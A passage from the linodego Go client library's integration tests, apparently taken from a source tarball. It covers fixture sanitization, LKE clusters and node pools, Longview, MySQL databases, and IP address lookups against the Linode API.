regexp.MustCompile("192\\.168\\.((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\\.)(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])") // i.Response.Body = re.ReplaceAllString(i.Response.Body, "10.0.0.1") // re = regexp.MustCompile("^192\\.168/!s/((1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])\\.){3}(1?[0-9][0-9]?|2[0-4][0-9]|25[0-5])") // i.Response.Body = re.ReplaceAllString(i.Response.Body, "0.0.0.0") re = regexp.MustCompile("nb-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}-[0-9]{1,3}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "nb-0-0-0-0") return nil }) r.AddSaveFilter(func(i *cassette.Interaction) error { re := regexp.MustCompile("AWSAccessKeyId=[[:alnum:]]{20}") i.Response.Body = re.ReplaceAllString(i.Response.Body, "AWSAccessKeyID=SANITIZED") i.Request.URL = re.ReplaceAllString(i.Request.URL, "AWSAccessKeyID=SANITIZED") return nil }) recordStopper = func() { r.Stop() } return } // createTestClient is a testing helper to creates a linodego.Client initialized using // environment variables and configured to record or playback testing fixtures. // The returned function should be deferred by the caller to ensure the fixture // recording is properly closed. func createTestClient(t *testing.T, fixturesYaml string) (*linodego.Client, func()) { var ( c linodego.Client apiKey *string ) if t != nil { t.Helper() } apiKey = &validTestAPIKey var recordStopper func() var r http.RoundTripper if len(fixturesYaml) > 0 { r, recordStopper = testRecorder(t, fixturesYaml, testingMode, nil) } else { r = nil recordStopper = func() {} } tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: *apiKey}) oc := &http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, Base: r, }, } c = linodego.NewClient(oc) c.SetDebug(debugAPI). SetPollDelay(testingPollDuration). SetRetryMaxWaitTime(testingMaxRetryTime) return &c, recordStopper } func createMockClient(t *testing.T) *linodego.Client { tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: validTestAPIKey}) client := &http.Client{ Transport: &oauth2.Transport{ Source: tokenSource, }, } httpmock.ActivateNonDefault(client) t.Cleanup(func() { httpmock.DeactivateAndReset() }) c := linodego.NewClient(client) return &c } // transportRecordWrapper returns a tranport.WrapperFunc which provides the test // recorder as an http.RoundTripper. func transportRecorderWrapper(t *testing.T, fixtureYaml string) (transport.WrapperFunc, func()) { t.Helper() rec, teardown := testRecorder(t, fixtureYaml, testingMode, nil) return func(r http.RoundTripper) http.RoundTripper { rec.SetTransport(r) return rec }, teardown } // getRegionsWithCaps returns a list of regions that support the given capabilities. func getRegionsWithCaps(t *testing.T, client *linodego.Client, capabilities []string) []string { result := make([]string, 0) regions, err := client.ListRegions(context.Background(), nil) if err != nil { t.Fatal(err) } regionHasCaps := func(r linodego.Region) bool { capsMap := make(map[string]bool) for _, c := range r.Capabilities { capsMap[strings.ToUpper(c)] = true } for _, c := range capabilities { if _, ok := capsMap[strings.ToUpper(c)]; !ok { return false } } return true } for _, region := range regions { if region.Status != "ok" || !regionHasCaps(region) { continue } result = append(result, region.ID) } return result } golang-github-linode-linodego-1.28.0/test/integration/lke_clusters_test.go000066400000000000000000000237331455402072200267770ustar00rootroot00000000000000package integration import ( "context" "net/url" "reflect" "testing" "github.com/jarcoal/httpmock" "github.com/linode/linodego" k8scondition "github.com/linode/linodego/k8s/pkg/condition" ) func TestLKECluster_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKECluster_GetMissing") defer teardown() i, err := client.GetLKECluster(context.Background(), 0) if err == nil { t.Errorf("should have received an error requesting a missing lkeCluster, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing lkeCluster, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing lkeCluster, got %v", e.Code) } } func TestLKECluster_WaitForReady(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-wait" createOpts.NodePools = []linodego.LKENodePoolCreateOptions{ {Count: 3, Type: "g6-standard-2"}, } }}, "fixtures/TestLKECluster_WaitForReady") defer teardown() wrapper, teardownClusterClient := transportRecorderWrapper(t, "fixtures/TestLKECluster_WaitForReady_Cluster") defer teardownClusterClient() if err = k8scondition.WaitForLKEClusterReady(context.Background(), *client, cluster.ID, linodego.LKEClusterPollOptions{ Retry: true, TimeoutSeconds: 10 * 60, TransportWrapper: wrapper, }); err != nil { t.Errorf("Error waiting for the LKE cluster pools to be ready: %s", err) } } func TestLKECluster_GetFound(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-found" }}, "fixtures/TestLKECluster_GetFound") defer teardown() i, err := client.GetLKECluster(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster, expected struct, got %v and error %v", i, err) } if i.ID != lkeCluster.ID { t.Errorf("Expected a specific lkeCluster, but got a different one %v", i) } } func TestLKECluster_Update(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-update" }}, "fixtures/TestLKECluster_Update") defer teardown() if err != nil { t.Fatal(err) } updatedTags := []string{"test=true"} updatedLabel := cluster.Label + "-updated" updatedK8sVersion := "1.23" updatedControlPlane := &linodego.LKEClusterControlPlane{HighAvailability: true} updatedCluster, err := client.UpdateLKECluster(context.TODO(), cluster.ID, linodego.LKEClusterUpdateOptions{ Tags: &updatedTags, Label: updatedLabel, K8sVersion: updatedK8sVersion, ControlPlane: updatedControlPlane, }) if err != nil { t.Fatalf("failed to update LKE Cluster (%d): %s", cluster.ID, err) } if updatedCluster.Label != updatedLabel { t.Errorf("expected label to be updated to %q; got %q", updatedLabel, updatedCluster.Label) } if updatedCluster.K8sVersion != updatedK8sVersion { t.Errorf("expected k8s version to be updated to %q; got %q", updatedK8sVersion, updatedCluster.K8sVersion) } if !reflect.DeepEqual(updatedTags, updatedCluster.Tags) { t.Errorf("expected tags to be updated to %#v; got %#v", updatedTags, updatedCluster.Tags) } if !reflect.DeepEqual(*updatedControlPlane, updatedCluster.ControlPlane) { t.Errorf("expected control plane to be updated to %#v; got %#v", updatedControlPlane, updatedCluster.ControlPlane) } } func TestLKECluster_Nodes_Recycle(t *testing.T) { client, cluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-recycle" }}, "fixtures/TestLKECluster_Nodes_Recycle") defer teardown() if err != nil { t.Fatal(err) } err = client.RecycleLKEClusterNodes(context.TODO(), cluster.ID) if err != nil { t.Errorf("failed to recycle LKE cluster: %s", err) } } func TestLKECluster_APIEndpoints_List(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-apiend" }}, "fixtures/TestLKECluster_APIEndpoints_List") defer teardown() if err != nil { t.Error(err) } i, err := client.ListLKEClusterAPIEndpoints(context.Background(), lkeCluster.ID, nil) if err != nil { t.Errorf("Error listing lkeClusterAPIEndpoints, expected struct, got error %v", err) } if len(i) <= 0 { t.Errorf("Expected some lkeClusterAPIEndpoints, but got none %v", i) } } func TestLKECluster_Kubeconfig_Get(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-kube-get" }}, "fixtures/TestLKECluster_Kubeconfig_Get") defer teardown() _, err = client.WaitForLKEClusterStatus(context.Background(), lkeCluster.ID, linodego.LKEClusterReady, 180) if err != nil { t.Errorf("Error waiting for LKECluster readiness: %s", err) } i, err := client.GetLKEClusterKubeconfig(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting lkeCluster Kubeconfig, expected struct, got %v and error %v", i, err) } if len(i.KubeConfig) == 0 { t.Errorf("Expected an lkeCluster Kubeconfig, but got empty string %v", i) } } func TestLKECluster_Dashboard_Get(t *testing.T) { client, lkeCluster, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-dash" }}, "fixtures/TestLKECluster_Dashboard_Get") defer teardown() _, err = client.WaitForLKEClusterStatus(context.Background(), lkeCluster.ID, linodego.LKEClusterReady, 180) if err != nil { t.Errorf("Error waiting for LKECluster readiness: %s", err) } i, err := client.GetLKEClusterDashboard(context.Background(), lkeCluster.ID) if err != nil { t.Errorf("Error getting LKE cluster dashboard URL, expected struct, got %v and error %v", i, err) } if len(i.URL) == 0 { t.Errorf("Expected an LKE cluster dashboard URL, but got empty string %v", i) } if _, err := url.ParseRequestURI(i.URL); err != nil { t.Errorf("invalid url: %s", err) } } func TestLKEClusters_List(t *testing.T) { client, _, teardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-list" }}, "fixtures/TestLKEClusters_List") if err != nil { t.Error(err) } defer teardown() // @TODO filter on the known label, API docs say this is supported, but it // errors i, err := client.ListLKEClusters(context.Background(), nil) if err != nil { t.Errorf("Error listing lkeClusters, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of lkeClusters, but got none %v", i) } } func TestLKEVersion_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersion_GetMissing") defer teardown() i, err := client.GetLKEVersion(context.Background(), "does-not-exist") if err == nil { t.Errorf("should have received an error requesting a missing version, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing version, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing version, got %v", e.Code) } } func TestLKECluster_Regenerate(t *testing.T) { client := createMockClient(t) requestData := linodego.LKEClusterRegenerateOptions{ KubeConfig: true, ServiceToken: false, } httpmock.RegisterRegexpResponder("POST", mockRequestURL(t, "clusters/1234/regenerate"), mockRequestBodyValidate(t, requestData, nil)) if _, err := client.RegenerateLKECluster(context.Background(), 1234, requestData); err != nil { t.Fatal(err) } } func TestLKECluster_DeleteServiceToken(t *testing.T) { client := createMockClient(t) httpmock.RegisterRegexpResponder("DELETE", mockRequestURL(t, "clusters/1234/servicetoken"), httpmock.NewStringResponder(200, "{}")) if err := client.DeleteLKEClusterServiceToken(context.Background(), 1234); err != nil { t.Fatal(err) } } func TestLKEVersion_GetFound(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersion_GetFound") defer teardown() i, err := client.GetLKEVersion(context.Background(), "1.23") if err != nil { t.Errorf("Error getting version, expected struct, got %v and error %v", i, err) } if i.ID != "1.23" { t.Errorf("Expected a specific version, but got a different one %v", i) } } func TestLKEVersions_List(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKEVersions_List") defer teardown() i, err := client.ListLKEVersions(context.Background(), nil) if err != nil { t.Errorf("Error listing versions, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of versions, but got none %v", i) } } type clusterModifier func(*linodego.LKEClusterCreateOptions) func setupLKECluster(t *testing.T, clusterModifiers []clusterModifier, fixturesYaml string) (*linodego.Client, *linodego.LKECluster, func(), error) { t.Helper() var fixtureTeardown func() client, fixtureTeardown := createTestClient(t, fixturesYaml) createOpts := linodego.LKEClusterCreateOptions{ Label: label, Region: getRegionsWithCaps(t, client, []string{"Kubernetes"})[0], K8sVersion: "1.23", Tags: []string{"testing"}, NodePools: []linodego.LKENodePoolCreateOptions{{Count: 1, Type: "g6-standard-2", Tags: []string{"test"}}}, } for _, modifier := range clusterModifiers { modifier(&createOpts) } lkeCluster, err := client.CreateLKECluster(context.Background(), createOpts) if err != nil { t.Errorf("failed to create LKE cluster: %s", err) } teardown := func() { if err := client.DeleteLKECluster(context.Background(), lkeCluster.ID); err != nil { t.Errorf("failed to delete LKE cluster: %s", err) } fixtureTeardown() } return client, lkeCluster, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/lke_node_pools_test.go000066400000000000000000000124251455402072200272700ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) var testLKENodePoolCreateOpts = linodego.LKENodePoolCreateOptions{ Type: "g6-standard-2", Count: 2, Disks: []linodego.LKENodePoolDisk{ { Size: 1000, Type: "ext4", }, }, Tags: []string{"testing"}, } func TestLKENodePool_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLKENodePool_GetMissing") defer teardown() i, err := client.GetLKENodePool(context.Background(), 0, 0) if err == nil { t.Errorf("should have received an error requesting a missing LKENodePool, got %v", i) } e, ok := err.(*linodego.Error) if !ok { t.Errorf("should have received an Error requesting a missing LKENodePool, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing LKENodePool, got %v", e.Code) } } func TestLKENodePool_GetFound(t *testing.T) { client, lkeCluster, pool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_GetFound") if err != nil { t.Error(err) } defer teardown() i, err := client.GetLKENodePool(context.Background(), lkeCluster.ID, pool.ID) if err != nil { t.Errorf("Error getting LKENodePool, expected struct, got %v and error %v", i, err) } if i.ID != pool.ID { t.Errorf("Expected a specific LKENodePool, but got a different one %v", i) } if i.Count != 2 { t.Errorf("expected count to be 2; got %d", i.Count) } if i.Type != "g6-standard-2" { t.Errorf("expected type to be g6-standard-2; got %s", i.Type) } if diff := cmp.Diff(linodego.LKENodePoolAutoscaler{ Min: 2, Max: 2, Enabled: false, }, pool.Autoscaler); diff != "" { t.Errorf("unexpected autoscaler:\n%s", diff) } if diff := cmp.Diff([]string{"testing"}, i.Tags); diff != "" { t.Errorf("unexpected tags:\n%s", diff) } } func TestLKENodePools_List(t *testing.T) { client, lkeCluster, _, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePools_List") if err != nil { t.Error(err) } defer teardown() i, err := client.ListLKENodePools(context.Background(), lkeCluster.ID, nil) if err != nil { t.Errorf("Error listing LKENodePool, expected struct, got error %v", err) } if len(i) != 2 { t.Errorf("Expected two LKENodePool, but got %#v", i) } } func TestLKENodePoolNode_Delete(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePoolNode_Delete") if err != nil { t.Error(err) } defer teardown() linodes := nodePool.Linodes err = client.DeleteLKENodePoolNode(context.TODO(), lkeCluster.ID, linodes[0].ID) if err != nil { t.Errorf("failed to delete node %q: %s", linodes[0].ID, err) } nodePool, err = client.GetLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID) if err != nil { t.Errorf("failed to get updated node pool: %s", err) } if !(len(nodePool.Linodes) == 1 && nodePool.Linodes[0].ID == linodes[1].ID) { t.Errorf("expected node pool to have 1 linode (%s); got %v", linodes[1].ID, nodePool.Linodes) } } func TestLKENodePool_Update(t *testing.T) { client, lkeCluster, nodePool, teardown, err := setupLKENodePool(t, "fixtures/TestLKENodePool_Update") if err != nil { t.Error(err) } defer teardown() updatedAutoscaler := linodego.LKENodePoolAutoscaler{ Enabled: true, Min: 2, Max: 5, } updatedTags := []string{} updated, err := client.UpdateLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID, linodego.LKENodePoolUpdateOptions{ Count: 2, // downsize Tags: &updatedTags, // remove all tags Autoscaler: &updatedAutoscaler, }) if err != nil { t.Fatal(err) } if len(updated.Tags) != 0 { t.Errorf("expected tags to be empty; got %v", updated.Tags) } if updated.Count != 2 { t.Errorf("expected count to be 2; got %d", updated.Count) } updatedTags = []string{"bar", "foo", "test"} updated, err = client.UpdateLKENodePool(context.TODO(), lkeCluster.ID, nodePool.ID, linodego.LKENodePoolUpdateOptions{ Count: 3, // upsize Tags: &updatedTags, // repopulate tags }) if err != nil { t.Fatal(err) } if diff := cmp.Diff(updatedTags, updated.Tags); diff != "" { t.Errorf("unexpected tags:\n%s", diff) } if diff := cmp.Diff(updatedAutoscaler, updated.Autoscaler); diff != "" { t.Errorf("unexpected autoscaler:\n%s", diff) } if updated.Count != 3 { t.Errorf("expected count to be 3; got %d", updated.Count) } } func setupLKENodePool(t *testing.T, fixturesYaml string) (*linodego.Client, *linodego.LKECluster, *linodego.LKENodePool, func(), error) { t.Helper() var fixtureTeardown func() client, lkeCluster, fixtureTeardown, err := setupLKECluster(t, []clusterModifier{func(createOpts *linodego.LKEClusterCreateOptions) { createOpts.Label = "go-lke-test-def" }}, fixturesYaml) if err != nil { t.Errorf("Error creating lkeCluster, got error %v", err) } pool, err := client.CreateLKENodePool(context.Background(), lkeCluster.ID, testLKENodePoolCreateOpts) if err != nil { t.Errorf("Error creating LKE Node Pool, got error %v", err) } teardown := func() { // delete the LKENodePool to exercise the code if err := client.DeleteLKENodePool(context.Background(), lkeCluster.ID, pool.ID); err != nil { t.Errorf("Expected to delete a LKE Node Pool, but got %v", err) } fixtureTeardown() } return client, lkeCluster, pool, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/longview_test.go000066400000000000000000000151431455402072200261260ustar00rootroot00000000000000package integration import ( "context" "testing" "github.com/linode/linodego" ) func TestLongviewClient_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Get") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later fetch using get testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } }() // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID // If there is no error, then GetLongviewClient works properly longviewClient, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } longviewClientList, listErr := client.ListLongviewClients(context.Background(), nil) if listErr != nil { t.Errorf("Error listing longview clients:%s", listErr) } found := false for _, element := range longviewClientList { if element.ID == longviewClient.ID { found = true } } if !found { t.Errorf("Longview client not found in list.") } } func TestLongviewClient_Create_smoke(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Create") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later fetch using get testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } }() testingID := testingLongviewClient.ID // If there is no error, then TestLongviewClient_Create works properly _, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } } func TestLongviewClient_Delete(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Delete") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later delete testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID // Make sure the longview client exists longviewClient, getErr := client.GetLongviewClient(context.Background(), testingID) if getErr != nil { t.Errorf("Error getting longview client:%s", getErr) } // If there is no error, the longview client was deleted properly if err := client.DeleteLongviewClient(context.Background(), testingLongviewClient.ID); err != nil { t.Fatal(err) } longviewClientList, listErr := client.ListLongviewClients(context.Background(), nil) if listErr != nil { t.Errorf("Error listing longview clients:%s", listErr) } found := false for _, element := range longviewClientList { if element.ID == longviewClient.ID { found = true } } // If the longview client still appears in the list, then it was not deleted properly if found { t.Errorf("Longview client was found in list.") } } func TestLongviewClient_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewClient_Update") defer teardown() createOptions := linodego.LongviewClientCreateOptions{Label: "testing"} // Create a longview client to later update testingLongviewClient, createErr := client.CreateLongviewClient(context.TODO(), createOptions) if createErr != nil { t.Errorf("Error creating longview client:%s", createErr) } // Fetch the ID of the newly created longview client testingID := testingLongviewClient.ID updateOptions := linodego.LongviewClientUpdateOptions{Label: "testing_updated"} // Update the longview client updatedTestingLongviewClient, updateErr := client.UpdateLongviewClient(context.TODO(), testingID, updateOptions) if createErr != nil { t.Errorf("Error updating longview client:%s", updateErr) } defer func() { if err := client.DeleteLongviewClient(context.Background(), updatedTestingLongviewClient.ID); err != nil { t.Fatal(err) } }() // If the label does not match what it was updated to, the update was not successful if updatedTestingLongviewClient.Label != "testing_updated" { t.Errorf("Longview client was not updated.") } } func TestLongviewPlan_Get(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewPlan_Get") defer teardown() // Get the current longview plan testingLongviewPlan, err := client.GetLongviewPlan(context.Background()) if err != nil { t.Errorf("Error getting longview plan:%s", err) } // Ensure that a plan was returned if testingLongviewPlan == nil { t.Errorf("Expected a longview plan, recieved nil") } validIDs := []string{"longview-3", "longview-10", "longview-40", "longview-100", ""} // Ensure that the id of the longview plan is a valid one if !contains(validIDs, testingLongviewPlan.ID) { t.Errorf("Invalid longview plan ID:%s", testingLongviewPlan.ID) } } func TestLongviewPlan_Update(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestLongviewPlan_Update") defer teardown() // Get the current longview plan testingLongviewPlan, getErr := client.GetLongviewPlan(context.Background()) if getErr != nil { t.Errorf("Error getting longview plan:%s", getErr) } testingID := testingLongviewPlan.ID updateOptions := linodego.LongviewPlanUpdateOptions{LongviewSubscription: "longview-10"} // Update the longview plan updatedLongviewPlan, updateErr := client.UpdateLongviewPlan(context.Background(), updateOptions) if updateErr != nil { t.Errorf("Error updating longview plan:%s", updateErr) } // Set the longview plan to what it was before (after the test) defer func() { resetOptions := linodego.LongviewPlanUpdateOptions{LongviewSubscription: testingID} if _, err := client.UpdateLongviewPlan(context.Background(), resetOptions); err != nil { t.Fatal(err) } }() // Ensure the longview plan was updated correctly if updatedLongviewPlan.ID != "longview-10" { t.Errorf("Longview plan not updated") } } func contains(arr []string, elem string) bool { for _, curr := range arr { if curr == elem { return true } } return false } golang-github-linode-linodego-1.28.0/test/integration/mysql_test.go000066400000000000000000000160631455402072200254430ustar00rootroot00000000000000package integration import ( "context" "reflect" "testing" "time" "github.com/dnaeon/go-vcr/recorder" "github.com/google/go-cmp/cmp" "github.com/linode/linodego" ) func TestDatabase_MySQL_Suite(t *testing.T) { client, database, teardown, err := setupMySQLDatabase(t, nil, "fixtures/TestDatabase_MySQL_Suite") if err != nil { t.Error(err) } defer teardown() mysqldbs, err := client.ListMySQLDatabases(context.Background(), nil) if len(mysqldbs) == 0 { t.Errorf("Expected a list of Databases, but got none: %v", err) } if err != nil { t.Errorf("Error listing Databases, expected struct, got error %v", err) } success := false for _, db := range mysqldbs { if db.ID == database.ID { success = true } } if !success { t.Error("database not in database list") } db, err := client.GetMySQLDatabase(context.Background(), database.ID) if err != nil { t.Errorf("Error viewing mysql database: %v", err) } if db.ID != database.ID { t.Errorf("got wrong db from GetMySQLDatabase: %v", db) } week := 3 updatedWindow := linodego.DatabaseMaintenanceWindow{ DayOfWeek: linodego.DatabaseMaintenanceDayWednesday, Duration: 1, Frequency: linodego.DatabaseMaintenanceFrequencyMonthly, HourOfDay: 8, WeekOfMonth: &week, } allowList := []string{"128.173.205.21", "123.177.200.20"} updatedLabel := database.Label + "-updated" opts := linodego.MySQLUpdateOptions{ AllowList: &allowList, Label: updatedLabel, Updates: &updatedWindow, } db, err = client.UpdateMySQLDatabase(context.Background(), database.ID, opts) if err != nil { t.Errorf("failed to update db %d: %v", database.ID, err) } waitForDatabaseUpdated(t, client, db.ID, linodego.DatabaseEngineTypeMySQL, db.Created) if db.ID != database.ID { t.Errorf("updated db does not match original id") } if db.Label != updatedLabel { t.Errorf("label not updated for db") } if !reflect.DeepEqual(db.Updates, updatedWindow) { t.Errorf("db maintenance window does not match update opts: %v", cmp.Diff(db.Updates, updatedWindow)) } ssl, err := client.GetMySQLDatabaseSSL(context.Background(), database.ID) if err != nil { t.Errorf("failed to get ssl cert for db: %v", err) } if ssl == nil { t.Error("failed to get ssl cert for db") } creds, err := client.GetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Minute * 5) } err = client.ResetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to reset credentials for db: %v", err) } if testingMode == recorder.ModeRecording { time.Sleep(time.Second * 15) } newcreds, err := client.GetMySQLDatabaseCredentials(context.Background(), database.ID) if err != nil { t.Errorf("failed to get new credentials for db: %v", err) } if creds.Password == newcreds.Password { t.Error("credentials have not changed for db") } if err := client.PatchMySQLDatabase(context.Background(), database.ID); err != nil { t.Fatalf("failed to patch database: %s", err) } // Wait for the DB to enter updating status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypeMySQL, linodego.DatabaseStatusUpdating, 240); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } // Wait for the DB to re-enter active status if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypeMySQL, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } backupLabel := "mysqlbackupforlinodego" backupOptions := linodego.MySQLBackupCreateOptions{ Label: backupLabel, Target: linodego.MySQLDatabaseTargetPrimary, } if err := client.CreateMySQLDatabaseBackup(context.Background(), database.ID, backupOptions); err != nil { t.Errorf("failed to create db backup: %v", err) } backup, err := client.WaitForMySQLDatabaseBackup(context.Background(), database.ID, backupLabel, 1200) if err != nil { t.Fatalf("failed to wait for backup: %s", err) } if backup.Label != backupLabel { t.Fatalf("backup label mismatch: %v != %v", backupLabel, backup.Label) } backup, err = client.GetMySQLDatabaseBackup(context.Background(), database.ID, backup.ID) if err != nil { t.Errorf("failed to get backup %d for db: %v", backup.ID, err) } if backup.Label != backupLabel { t.Fatalf("backup label mismatch: %v != %v", backupLabel, backup.Label) } if backup.Created == nil { t.Fatalf("expected value for created, got nil") } // Wait for the DB to re-enter active status after backup if err := client.WaitForDatabaseStatus( context.Background(), database.ID, linodego.DatabaseEngineTypeMySQL, linodego.DatabaseStatusActive, 2400); err != nil { t.Fatalf("failed to wait for database updating: %s", err) } } type mysqlDatabaseModifier func(options *linodego.MySQLCreateOptions) func createMySQLDatabase(t *testing.T, client *linodego.Client, databaseMofidiers []mysqlDatabaseModifier, ) (*linodego.MySQLDatabase, func(), error) { t.Helper() createOpts := linodego.MySQLCreateOptions{ Label: "go-mysql-test-def", Region: getRegionsWithCaps(t, client, []string{"Managed Databases"})[0], Type: "g6-nanode-1", Engine: "mysql/8.0.30", Encrypted: false, ClusterSize: 3, ReplicationType: "semi_synch", SSLConnection: false, AllowList: []string{"203.0.113.1", "192.0.1.0/24"}, } for _, modifier := range databaseMofidiers { modifier(&createOpts) } database, err := client.CreateMySQLDatabase(context.Background(), createOpts) if err != nil { t.Fatalf("failed to create database: %s", err) } // We should retry on db cleanup teardown := func() { ctx, cancel := context.WithTimeout(context.Background(), 180*time.Second) defer cancel() ticker := time.NewTicker(client.GetPollDelay()) defer ticker.Stop() for { select { case <-ticker.C: err := client.DeleteMySQLDatabase(ctx, database.ID) if err == nil { return } if lErr, ok := err.(*linodego.Error); ok && lErr.Code == 500 { continue } t.Fatalf("failed to delete database: %s", err) case <-ctx.Done(): t.Fatalf("failed to retry database deletion: %s", ctx.Err()) } } } return database, teardown, nil } func setupMySQLDatabase(t *testing.T, databaseMofidiers []mysqlDatabaseModifier, fixturesYaml string, ) (*linodego.Client, *linodego.MySQLDatabase, func(), error) { t.Helper() now := time.Now() client, fixtureTeardown := createTestClient(t, fixturesYaml) database, databaseTeardown, err := createMySQLDatabase(t, client, databaseMofidiers) if err != nil { t.Fatalf("failed to create db: %s", err) } _, err = client.WaitForEventFinished(context.Background(), database.ID, linodego.EntityDatabase, linodego.ActionDatabaseCreate, now, 3600) if err != nil { t.Fatalf("failed to wait for db create event: %s", err) } teardown := func() { databaseTeardown() fixtureTeardown() } return client, database, teardown, err } golang-github-linode-linodego-1.28.0/test/integration/network_ips_test.go000066400000000000000000000175401455402072200266430ustar00rootroot00000000000000package integration import ( "context" "fmt" "strings" "testing" . "github.com/linode/linodego" ) func TestIPAddress_GetMissing(t *testing.T) { client, teardown := createTestClient(t, "fixtures/TestIPAddress_GetMissing") defer teardown() doesNotExist := "10.0.0.1" i, err := client.GetIPAddress(context.Background(), doesNotExist) if err == nil { t.Errorf("should have received an error requesting a missing ipaddress, got %v", i) } e, ok := err.(*Error) if !ok { t.Errorf("should have received an Error requesting a missing ipaddress, got %v", e) } if e.Code != 404 { t.Errorf("should have received a 404 Code requesting a missing ipaddress, got %v", e.Code) } } func TestIPAddress_GetFound(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddress_GetFound") defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) } address := instance.IPv4[0].String() i, err := client.GetIPAddress(context.Background(), address) if err != nil { t.Errorf("Error getting ipaddress, expected struct, got %v and error %v", i, err) } if i.Address != address { t.Errorf("Expected a specific ipaddress, but got a different one %v", i) } } func TestIPAddresses_List_smoke(t *testing.T) { client, instance, _, teardown, err := setupInstanceWithoutDisks(t, "fixtures/TestIPAddresses_List") defer teardown() if err != nil { t.Errorf("Error creating IPAddress test Instance, got error %v", err) } filter := fmt.Sprintf("{\"linode_id\":%d}", instance.ID) i, err := client.ListIPAddresses(context.Background(), NewListOptions(0, filter)) if err != nil { t.Errorf("Error listing ipaddresses, expected struct, got error %v", err) } if len(i) == 0 { t.Errorf("Expected a list of ipaddresses, but got 